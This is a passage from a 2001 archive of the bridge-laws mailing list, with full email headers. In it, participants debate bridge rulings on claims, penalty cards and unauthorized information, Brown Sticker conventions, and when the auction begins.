>(Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with >"(un)subscribe bridge-laws" or just "help" in the BODY of the message. >A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ > > -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Thu Jan 25 04:03:32 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0OH1kM13602 for bridge-laws-outgoing; Thu, 25 Jan 2001 04:01:46 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from pop1.san.rr.com (pop1.san.rr.com [24.25.195.33]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0OH1et13595 for ; Thu, 25 Jan 2001 04:01:40 +1100 (EST) Received: from marvin ([24.30.156.154]) by pop1.san.rr.com (Post.Office MTA v3.5.3 release 223 ID# 0-59787U250000L250000S0V35) with ESMTP id com for ; Wed, 24 Jan 2001 09:00:57 -0800 Message-ID: <009d01c08627$47c95fc0$9a9c1e18@san.rr.com> Reply-To: "Marvin L. French" From: "Marvin L. French" To: "Bridge Laws" References: <00da01c08514$6f2045c0$9a9c1e18@san.rr.com> Subject: Re: [BLML] Exposed Card before auction begins (?) Date: Wed, 24 Jan 2001 08:54:13 -0800 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Ed Reppert wrote: > Marvin L. French wrote: > > >If the auction has not begun, L16B (pertaining to UI) applies. I > >think L16B and L24 assume the auction hasn't begun until it has > >begun for both sides (see L17). If that isn't so, this subject could > >get very complicated. > > I don't know what leads you to conclude that these laws assume that. > Law 17, at least, is clear: the auction begins for the two sides at > different times. Yes, but "the auction" starts when it starts for one side. In a race with staggered starting times, the race begins for different competitors at different times, but "the race" begins when the first runner starts. > > >No, it hinges on whether anyone at the table has looked at their > >cards. > > Not according to Law 17, it doesn't. > I tried working this case out for an hour or so with the assumption that "the auction" doesn't start until it has started for both sides. That led me into a real quagmire. Accordingly, I took the simpler line of thinking, one that TDs can more easily workwith [sic]. Marv San Diego, CA, USA -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Thu Jan 25 04:11:43 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0OH9iv13776 for bridge-laws-outgoing; Thu, 25 Jan 2001 04:09:44 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from pop1.san.rr.com (pop1.san.rr.com [24.25.195.33]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0OH9ct13770 for ; Thu, 25 Jan 2001 04:09:39 +1100 (EST) Received: from marvin ([24.30.156.154]) by pop1.san.rr.com (Post.Office MTA v3.5.3 release 223 ID# 0-59787U250000L250000S0V35) with ESMTP id com for ; Wed, 24 Jan 2001 09:08:57 -0800 Message-ID: <00af01c08628$65fbf9c0$9a9c1e18@san.rr.com> Reply-To: "Marvin L. French" From: "Marvin L. French" To: References: <001201c08572$7416ef80$b42b7bd5@dodona> Subject: Re: [BLML] Fw: wbf brown sticker question Date: Wed, 24 Jan 2001 09:06:36 -0800 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk From: "Grattan Endicott" > > > > > > I have just read an article of yours on WBF > > > conventions on David Stevenson's page and > > > have a question. If I play a 2D opening as a > > > 5-5 major/minor two suiter is it allowed (as > > > a multi variant) or is it banned (because the > > > anchor suit is unknown)? > > > > > > > > +=+ This is a Brown Sticker convention and > > may not be played in tournaments where > > Brown Sticker (BS) conventions are prohibited. > > Regarding the multi the WBF Systems Policy > > says that what is not BS is an opening bid of > > two in a minor suit that shows "a weak two in > > either major, whether with or without the > > option of strong hand types, as described in > > the WBF Conventions Booklet". Does that mean only an unspecified major, only a specified major, or whichever? The ACBL changed "either major" to "unspecified major," for the 2D opening, incorporating half my recommendation (specified or unspecified major). This means you can't open 2D with a weak two in a *specified* major (with strong adjuncts), an opening that is much easier to counter than a Multi 2D. Marv San Diego, CA, USA -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Thu Jan 25 04:16:45 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0OHFFp13893 for bridge-laws-outgoing; Thu, 25 Jan 2001 04:15:15 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from ux1.cts.eiu.edu (ux1.cts.eiu.edu [139.67.8.3]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0OHF8t13887 for ; Thu, 25 Jan 2001 04:15:09 +1100 (EST) Received: from Panther1204.eiu.edu (Panther1204.eiu.edu [139.67.12.189]) by ux1.cts.eiu.edu (8.9.1b+Sun/8.8.7) with SMTP id LAA19370 for ; Wed, 24 Jan 2001 11:16:28 -0600 (CST) Message-Id: <3.0.6.32.20010124111435.007b91c0@ux1.cts.eiu.edu> X-Sender: cfgcs@ux1.cts.eiu.edu X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.6 (32) Date: Wed, 24 Jan 2001 11:14:35 -0600 To: From: Grant Sterling Subject: Re: [BLML] Claim? In-Reply-To: <001701c08606$647fd980$0ec188d1@kay> References: <200101230259.SAA25487@mailhub.irvine.com> <200101222054.MAA17289@mailhub.irvine.com> <200101230259.SAA25487@mailhub.irvine.com> <3.0.6.32.20010123141104.00810580@ux1.cts.eiu.edu> <000f01c0857f$e50191c0$1113f7a5@james> <002901c085b6$2fd1e200$2f48a718@austin.rr.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk At 07:05 AM 1/24/2001 -0600, Nelson/Kay Ford wrote: >----- Original Message ----- >From: "Kevin Perkins" >To: >Sent: Tuesday, January 23, 2001 9:31 PM >Subject: Re: [BLML] Claim? > > >> I polled the bridge players in my area for one week. After 97 people, >> including 3 directors, none of the people questioned believed the remarks in >> question were a claim. > >So does widespread ignorance of a Law mean that it >does not have to be inforced? Yes. If the ignorance is not culpable. [I.e., if no normal bridge player could reasonably be expected to have known that result.] [And, in any case, this was in response to those who questioned whether I was right in thinking that 99% of people would not regard DWS's remark as a claim.] >I had never looked at a rule book until a local director made >4 wrong rulings against me in one session. After I started >studying the rules, I discovered many nuances (some not >at all subtle) about which I was unaware. > >One of these is that a player does not necessarily have >to play a minor penalty card at the first opportunity. >I polled about a half-dozen directors here in two clubs and >NONE of them were aware of this part of the rule. > >Few (if any) players around here are even aware there *is* >such a thing as a "minor" penalty card (except the players >I have told when ruling at their table). > >Do you suggest I quit enforcing this rule (and other little-known >rules) as well? No. Because those rule govern the adjudication of an irregularity that has already occurred, and one which the players _do_ known about. The average bridge player has ample opportunity to learn that, for example, it is illegal to, e.g., play two cards to the same trick. So Joe Average plays two cards to the same trick, and someone calls the TD. Joe knows that he has broken the rules, and he knows there's some penalty or other. The TD's job is to apply the proper penalty, and explain the relevant rules as best he can so that the penalty is understood. The fact that the player couldn't have told you the consequences before the TD came is irrelevant. He knows he broke a rule. But if a law _creates_ a penalty for Joe that he could not reasonably have known about in the first place, then that is IMHO a totally different matter. For example, imagine that the lawmakers decide to take a stand against drug abuse, and so they modify the footnote to L40E2 so that it makes the taking of a drug that may increase memory or calculation a violation of law. This minor change is publicized in the usual way, at least here in the ACBL--i.e., not at all. No-one knows about it, except the clever BL who has seen articles showing the caffeine increases alertness. On his next impending '0' board, he calls the TD demanding an adjustment because his opponent took a drink of coffee during the hand. I would never rule in his favor, even if the law _had_ been written in such a way that the drinking of coffee was technically illegal. I would not rule against him even if I was told that some non-coffee-drinking law-writers had intended this consequence, because they thought that coffee-drinking wasn't appropriate in a serious game like bridge. If I have to invoke sophistry, offer alternative less-literal interpretations of the law, or spill coffee on the new lawbook and declare it unreadable and rule under the old laws, I will do so. In other words, I think there is a huge difference between the laws that state the consequences for an infraction or define the proceedures for adjudicating an infraction, and the laws that say what actions _count_ as infractions and define the basic rules for how players play the game. Laws of the latter type must be publicized so that normal players [defined relatively to context] can reasonably be expected to know them before they should be enforced. This is even more true when we are discussing an unexpected consequence of a law required by new wording or new interpretation of rules governing familiar proceedures. If the coffee law becomes publicized so that the average player has a reasonable chance of being aware that coffee-drinking has become illegal, or I am ordered to accept the anti-coffee interpretation by the ACBL, or the lawmakers re-write the laws so that it says "And, yes, we do mean to be banning coffee you stupid idiot in Illinois", then I will enforce the law as required, while deploring what it will do to the game of bridge. But not until then. And I don't even drink coffee. >Nelson Ford Respectfully, Grant Sterling -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Thu Jan 25 04:21:22 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0OHJri14027 for bridge-laws-outgoing; Thu, 25 Jan 2001 04:19:53 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from pop1.san.rr.com (pop2.san.rr.com [24.25.193.33]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0OHJit14019 for ; Thu, 25 Jan 2001 04:19:45 +1100 (EST) Received: from marvin ([24.30.156.154]) by pop1.san.rr.com (Post.Office MTA v3.5.3 release 223 ID# 0-59787U250000L250000S0V35) with ESMTP id com for ; Wed, 24 Jan 2001 09:19:03 -0800 Message-ID: <00d001c08629$cefc5b80$9a9c1e18@san.rr.com> Reply-To: "Marvin L. French" From: "Marvin L. French" To: References: <200101230259.SAA25487@mailhub.irvine.com> <200101222054.MAA17289@mailhub.irvine.com> <200101230259.SAA25487@mailhub.irvine.com> <3.0.6.32.20010123141104.00810580@ux1.cts.eiu.edu> <000f01c0857f$e50191c0$1113f7a5@james> <002901c085b6$2fd1e200$2f48a718@austin.rr.com> Subject: Re: [BLML] Claim? Date: Wed, 24 Jan 2001 09:18:49 -0800 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk From: "Kevin Perkins" > I polled the bridge players in my area for one week. After 97 people, > including 3 directors, none of the people questioned believed the remarks in > question were a claim. And probably only 3 of them own a copy of the Laws, and none are very familiar with its contents. Marv San Diego, CA, USA -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Thu Jan 25 04:21:22 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0OHJpK14026 for bridge-laws-outgoing; Thu, 25 Jan 2001 04:19:52 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from pop1.san.rr.com (pop1.san.rr.com [24.25.195.33]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0OHJht14018 for ; Thu, 25 Jan 2001 04:19:44 +1100 (EST) Received: from marvin ([24.30.156.154]) by pop1.san.rr.com (Post.Office MTA v3.5.3 release 223 ID# 0-59787U250000L250000S0V35) with ESMTP id com for ; Wed, 24 Jan 2001 09:19:02 -0800 Message-ID: <00cf01c08629$ce86dd60$9a9c1e18@san.rr.com> Reply-To: "Marvin L. French" From: "Marvin L. French" To: References: <200101222054.MAA17289@mailhub.irvine.com> Subject: Re: [BLML] Claim? Date: Wed, 24 Jan 2001 09:15:01 -0800 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk > This was a mis-spelling possibly through haste. > Misspelling Marv San Diego, CA, USA -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Thu Jan 25 04:29:04 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0OHRXq14319 for bridge-laws-outgoing; Thu, 25 Jan 2001 04:27:33 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from mailhub.irvine.com (larry-rp.irvine.com [63.206.153.98]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0OHRQt14279 for ; Thu, 25 Jan 2001 04:27:26 +1100 (EST) Received: from calvin.irvine.com (IDENT:adam@calvin.irvine.com [192.160.8.21]) by mailhub.irvine.com (8.9.3/8.9.3) with ESMTP id JAA02804; Wed, 24 Jan 2001 09:25:14 -0800 Message-Id: <200101241725.JAA02804@mailhub.irvine.com> To: bridge-laws@rgb.anu.edu.au CC: adam@irvine.com Subject: Re: [BLML] Let's get back to the easy stuff In-reply-to: Your message of "Wed, 24 Jan 2001 09:08:33 +0100." <3.0.6.32.20010124090833.00848100@pop.ulb.ac.be> Date: Wed, 24 Jan 2001 09:25:12 -0800 From: Adam Beneschan Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Alain Gottcheiner wrote: > At 09:42 23/01/01 -0800, you wrote: > >I maintain that if you open out of turn, so that you know nothing > >about partner's hand, the above condition will *never* be true. Ever. > >Since partner has not described anything about his hand, the range of > >partner's possible hands is very wide---he could have a great fit, a > >misfit, a long suit that fits with your 3-bagger, a 2-suiter---and any > >HCP range from zero to 40 minus whatever you have. If you look at > >every such possible hand and figure out where you would have played it > >if you had a normal auction, there will be a few hands where your solo > >flyer will produce a better result---and a huge number of hands where > >you would have been better off if you had let partner tell you what he > >had. (And plenty of hands where the result would have been the same.) > >So I cannot believe that there is *any* hand on which barring partner > >has a higher expected result. > > If someone can show me such a hand, and > >demonstrate that, when all possible hands for partner are taken into > >account, it would be advantageous to bar partner, please do so. > > AG : easy ! LHO opens a GF 2 clubs, and you bid 2S out of turn -a psyche-. > If partner were now barred, it would be very dangerous, because S are > higher than your genuine suit. But now, you have the favorable effects of > the psyche, without the risks, ie if the bidding goes 2C p (forced) 2D 2S, > you are sure partner won't raise you, and after X p p you may now retreat > into your long suit without fear of being put back into spades. To clarify, I meant to ask only about situations where you have made an opening bid out of turn, so that you know nothing about *anyone's* hand. I didn't mean to include situations where an opponent has opened. David Burn did provide a good example; but I still doubt that anyone can provide a hand where barring partner after an OOT opening bid would have a higher expected result, if no psyching is involved. -- Adam -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Thu Jan 25 04:36:54 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0OHXNd16347 for bridge-laws-outgoing; Thu, 25 Jan 2001 04:33:24 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from ux1.cts.eiu.edu (ux1.cts.eiu.edu [139.67.8.3]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0OHXGt16304 for ; Thu, 25 Jan 2001 04:33:16 +1100 (EST) Received: from Panther1204.eiu.edu (Panther1204.eiu.edu [139.67.12.189]) by ux1.cts.eiu.edu (8.9.1b+Sun/8.8.7) with SMTP id LAA27247 for ; Wed, 24 Jan 2001 11:34:35 -0600 (CST) Message-Id: <3.0.6.32.20010124113244.007b91c0@ux1.cts.eiu.edu> X-Sender: cfgcs@ux1.cts.eiu.edu X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.6 (32) Date: Wed, 24 Jan 2001 11:32:44 -0600 To: "blml" From: Grant Sterling Subject: Re: [BLML] Claim? In-Reply-To: References: <200101182216.OAA27032@mailhub.irvine.com> <01af01c081ca$1d6f8a80$56991e18@san.rr.com> <3.0.6.32.20010119112619.007e4210@ux1.cts.eiu.edu> <3.0.6.32.20010119214642.007b13a0@eiu.edu> <3.0.6.32.20010123144656.007c53b0@ux1.cts.eiu.edu> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk At 01:02 AM 1/24/2001 -0600, Roger Pewick wrote: >| >a] words said out of innocence can have unintended consequences, so can >| >words not intended in innocence > >This seems to go to an important issue: I agree. >| Sure. And, as I said, there are ample legal remedies in when >| opponents are damaged by those words, innocently intended or not > >To assert that he is entitled to say the words because the opponents are >entitled to redress if it damages them imo is a bad attitude to take. This >places the opponents in the situation perpetrated upon them to go through >the 'socially unacceptable' process of requesting ethics redress instead of >claim redress and places upon them a burden to wrestle with whether to ask >for redress. For [civil minded, in particular] players, to put the onus on >them is an unfair burden in order to save the ego of the irresponsible. >. This truly is an important issue. You seem to hold that the words are those of an irresponsible person, that the words have some significant liklihood of damaging the opposition, and that it is therefore good to regard the words as a claim and invoke claim law rather than requiring the innocent defenders to seek redress under other laws regarding illicit communication or confusing remarks. That is, you see the remarks as very bad things, the defenders as essentially good and innocent, and so we should try to find the easiest and quickest way of penalizing those who utter such things. I think the remarks are almost always themselves utterly innocent, and in most cases actually increase the pleasantness of the game. Hence I regard any defender who seeks to punish those remarks as the one that threatens to damage the game, and so I think we should not punish those who make the remarks at all. {In any case, I have never liked the idea of using laws regarding one sort of thing to punish some other sort of thing, or using rights having to do with one action to protect some other action we want to protect. [I am tempted to begin an essay on judicial activism here, but I will refrain. :)] If the problem is remarks that cause misdefense, then deal with them by outlawing remarks that cause misdefense, not by bringing in laws about claims.} Now there are remarks and remarks. DWS's original example was not a claim, and was tremendously unlikely to cause misdefense or disconcert or upset the opponents. If we change the remark to "I'm gonna take 12 tricks here whatever you guys do", then this can much more reasonably be called a claim. If he said "if I'd have known you were going to lead a club I would have bid slam" he is obviously not claiming, but equally his remark is obviously potentially confusing or hurtful to the defenders, at least in some contexts, and so can be handled by L73F2, L74A2, et al, if necessary. Notice, though, that the most potentially hurtful of these remarks is not a claim even under the extreme reading of L68A. So if these are the kinds of remarks we are trying to protect people against, L68 is a terrible way of doing it. >May I suggest that a player is not entitled to say such words unless he >intends to claim. So if he feels compelled to speak, let him be careful to >not breach the claim. > >roger pewick Respectfully, Grant Sterling -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Thu Jan 25 05:39:47 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0OIaSa28480 for bridge-laws-outgoing; Thu, 25 Jan 2001 05:36:28 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from nuser.dybdal.dk (cpe.atm0-0-0-114174.boanxx1.customer.tele.dk [193.89.241.80]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0OIaKt28472 for ; Thu, 25 Jan 2001 05:36:21 +1100 (EST) Received: from spir.h.dybdal.dk (spir.h.dybdal.dk [10.148.46.2]) by nuser.dybdal.dk (Postfix) with SMTP id 4D805D7C89 for ; Wed, 24 Jan 2001 19:36:14 +0100 (CET) From: Jesper Dybdal To: bridge-laws@rgb.anu.edu.au Subject: Re: [BLML] penalties AND UI - too much ? Date: Wed, 24 Jan 2001 19:36:14 +0100 Organization: at home Message-ID: References: In-Reply-To: X-Mailer: Forte Agent 1.8/32.548 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by rgb.anu.edu.au id f0OIaNt28475 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk On Wed, 24 Jan 2001 02:07:28 +0000, David Stevenson wrote: > When your pd leads the DK out of turn, and declarer lets it remain as >a penalty card, you must lead something. The fact that partner will >play the DK on the first round of diamonds is AI to you. Other >information from this lead is UI. To the extent that this makes sense, that is also the way I understand the WBFLC interpretation. The problem is that this is not about _information_ that is authorized or not, but about specific _use_ of information. Take the sentence "The fact that partner will play the DK on the first round of diamonds is AI to you." If this is really true, then it is information that may be used freely. One of the most important things we do with information in Bridge is to make logical deductions from it. From the so-called "AI" above combined with other information that is obviously AI I can typically deduce things like: * Partner has the DK (otherwise he would not play it on the first round on diamonds). * Declarer does not have the DK (since partner has it). * Partner does not have the CK (since declarer otherwise cannot have his 1NT opening without the DK). If "the fact that partner will play the DK on the first round of diamonds" is really AI, then all of these three deductions from it must also be AI. But the WBFLC tells us that they are not. So what the WBFLC really tells us is not that some information is authorized and some is not. Instead they are telling us that certain _uses_ of this information are legal and other uses are not. I.e., the information is not AI or UI, but something in-between. This breaks the (IMO quite fundamental) property of the game that players are allowed to make logical deductions. It is therefore IMO a serious problem with the 1997 laws, if they are to be interpreted as the WBFLC tells us. It also provides a practical mess: the distinction between legal and illegal use can be difficult. In addition, it seems to me that it is unreasonable to penalize the offense twice: once by a mechanical penalty and again by making it illegal to use the information. This is a general problem caused by the change in L16 without a corresponding change in the mechanical penalty laws that were designed at a time when withdrawn actions were AI. If all knowledge of the card is UI, there is no reason to also make it a penalty card. IMO this mess ought to be cleared up in one of two ways: (1) By the WBFLC adopting the interpretation suggested by Eric four years ago: that "other information arising from facing of the penalty card" means information arising from the act of facing the card (such as "partner thinks it is a good idea to play diamonds now"), not the information that partner has the card itself. (2) By law changes that create consistency between mechanical penalties and UI. Solution (1) has the nice property that it is consistent (or at least not clearly inconsistent) with the current letter of the law. In December 1996, there was an almost-consensus on BLML that Eric's interpretation must surely be what was intended by the lawmakers, since it was the only sensible interpretation consistent with the law. That was of course before the WBFLC statement was issued. > Now despite the complete certainty of various posters I believe >this to be totally ambiguous! Yes. > Note in passing that there have been >several references to L16, and some have suggested it is or is not UI >because L16 applies or not or something. Surely this is a red herring: >L50D1 says that the info is UI, and thus it is. IMO L16 does not apply, since the card is open on the table. So I agree that the question is what L50D1 means. > So what is UI? Let us consider a few things. > >1. When partner led the DK it appears he has the DQ else he would not >have led the King. Is the fact that he has the DQ UI? > >2. When partner led the DK it appears he thought a diamond lead was >best on the hand. Is the fact that he thought the diamond lead best UI? > >3. When partner led the DK it appears he has not got the DA else he >would have led the ace. Is the fact that he has not got the DA UI? > > That, surely, is the easy bit. The answer must be yes to all three. >Everyone happy? Yes. >4. Suppose partner has shown 5/6 points in the bidding. Is the fact >that he has not got an ace elsewhere in the hand UI? > > This is perhaps less clear. I think most people will say yes, but my >guess is not everyone. Some people will argue that if you can see it on >the table you cannot ignore it, and while it is UI that he has the DQ it >is not UI that he has the DK. My reading of the WBFLC's statement: yes, it is a an unauthorized use of the information. By Eric's interpretation it would be AI. >5. Suppose you hold the DA. You need to put partner in to lead a >heart. If you lead a diamond then partner will play the DK. Is it UI >that this is a guaranteed entry? > > I do not believe that there will be any consensus on this! > >6. You know declarer has a source of tricks [perhaps a solid club suit >in dummy]. You know that partner's first discard will be the DK >perforce. Is it UI that he will be forced to discard an honour if you >do not get rid of it first? > > I am not sure we know the answer to this one either. Two very nice examples of the problems of interpreting the WBFLC position. If I had to rule, I would probably rule that it was authorized in both cases, but I am not in any confident that it would be the best ruling. By Eric's interpretation both cases would be AI. -- Jesper Dybdal, Denmark . http://www.dybdal.dk (in Danish). -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Thu Jan 25 06:52:47 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0OJovt15280 for bridge-laws-outgoing; Thu, 25 Jan 2001 06:50:57 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from sm10.texas.rr.com (sm10.texas.rr.com [24.93.35.222]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0OJoot15237 for ; Thu, 25 Jan 2001 06:50:50 +1100 (EST) Received: from kevins (cs162127-8.austin.rr.com [24.162.127.8]) by sm10.texas.rr.com (8.11.0/8.11.1) with SMTP id f0OJc8Q31210 for ; Wed, 24 Jan 2001 13:38:08 -0600 Message-ID: <002901c0863e$f5b136a0$087fa218@austin.rr.com> From: "Kevin Perkins" To: References: <200101230259.SAA25487@mailhub.irvine.com> <200101222054.MAA17289@mailhub.irvine.com> <200101230259.SAA25487@mailhub.irvine.com> <3.0.6.32.20010123141104.00810580@ux1.cts.eiu.edu> <000f01c0857f$e50191c0$1113f7a5@james> <002901c085b6$2fd1e200$2f48a718@austin.rr.com> <001701c08606$647fd980$0ec188d1@kay> Subject: Re: [BLML] Claim? Date: Wed, 24 Jan 2001 13:50:53 -0600 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk I made no suggestions as to whether I agree that the remarks should be a claim, or whether I feel that the laws say it is a claim. I just was responding to the assertion that DWS made that 99.999+ people do not think that this is a claim. Other people on the list disagreed with this. ----- Original Message ----- From: "Nelson/Kay Ford" To: "Kevin Perkins" ; Sent: Wednesday, January 24, 2001 7:05 AM Subject: Re: [BLML] Claim? > ----- Original Message ----- > From: "Kevin Perkins" > To: > Sent: Tuesday, January 23, 2001 9:31 PM > Subject: Re: [BLML] Claim? > > > > I polled the bridge players in my area for one week. After 97 people, > > including 3 directors, none of the people questioned believed the remarks in > > question were a claim. > > So does widespread ignorance of a Law mean that it > does not have to be inforced? > > I had never looked at a rule book until a local director made > 4 wrong rulings against me in one session. After I started > studying the rules, I discovered many nuances (some not > at all subtle) about which I was unaware. > > One of these is that a player does not necessarily have > to play a minor penalty card at the first opportunity. > I polled about a half-dozen directors here in two clubs and > NONE of them were aware of this part of the rule. > > Few (if any) players around here are even aware there *is* > such a thing as a "minor" penalty card (except the players > I have told when ruling at their table). > > Do you suggest I quit enforcing this rule (and other little-known > rules) as well? > > Nelson Ford > -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Thu Jan 25 07:14:15 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0OKCaa22215 for bridge-laws-outgoing; Thu, 25 Jan 2001 07:12:36 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from johnson.mail.mindspring.net (johnson.mail.mindspring.net [207.69.200.177]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0OKCTt22211 for ; Thu, 25 Jan 2001 07:12:30 +1100 (EST) Received: from james (user-2ive453.dialup.mindspring.com [165.247.16.163]) by johnson.mail.mindspring.net (8.9.3/8.8.5) with SMTP id PAA00672; Wed, 24 Jan 2001 15:12:16 -0500 (EST) Message-ID: <001f01c08641$f164df90$a310f7a5@james> From: "Craig Senior" To: "David Stevenson" , References: <200101230259.SAA25487@mailhub.irvine.com> <200101222054.MAA17289@mailhub.irvine.com> <200101230259.SAA25487@mailhub.irvine.com> <3.0.6.32.20010123141104.00810580@ux1.cts.eiu.edu> <000f01c0857f$e50191c0$1113f7a5@james> Subject: Re: [BLML] Claim? Date: Wed, 24 Jan 2001 15:11:59 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk I take it then that you favour having the Laws state that this is not a claim. You have made some worthwhile arguments toward that end. But that does not change the fact that the law as presently written makes this a claim. I would agree that either education or change is desirable. While 99.9999xx % do not disagree with either of us, you and I agree that we 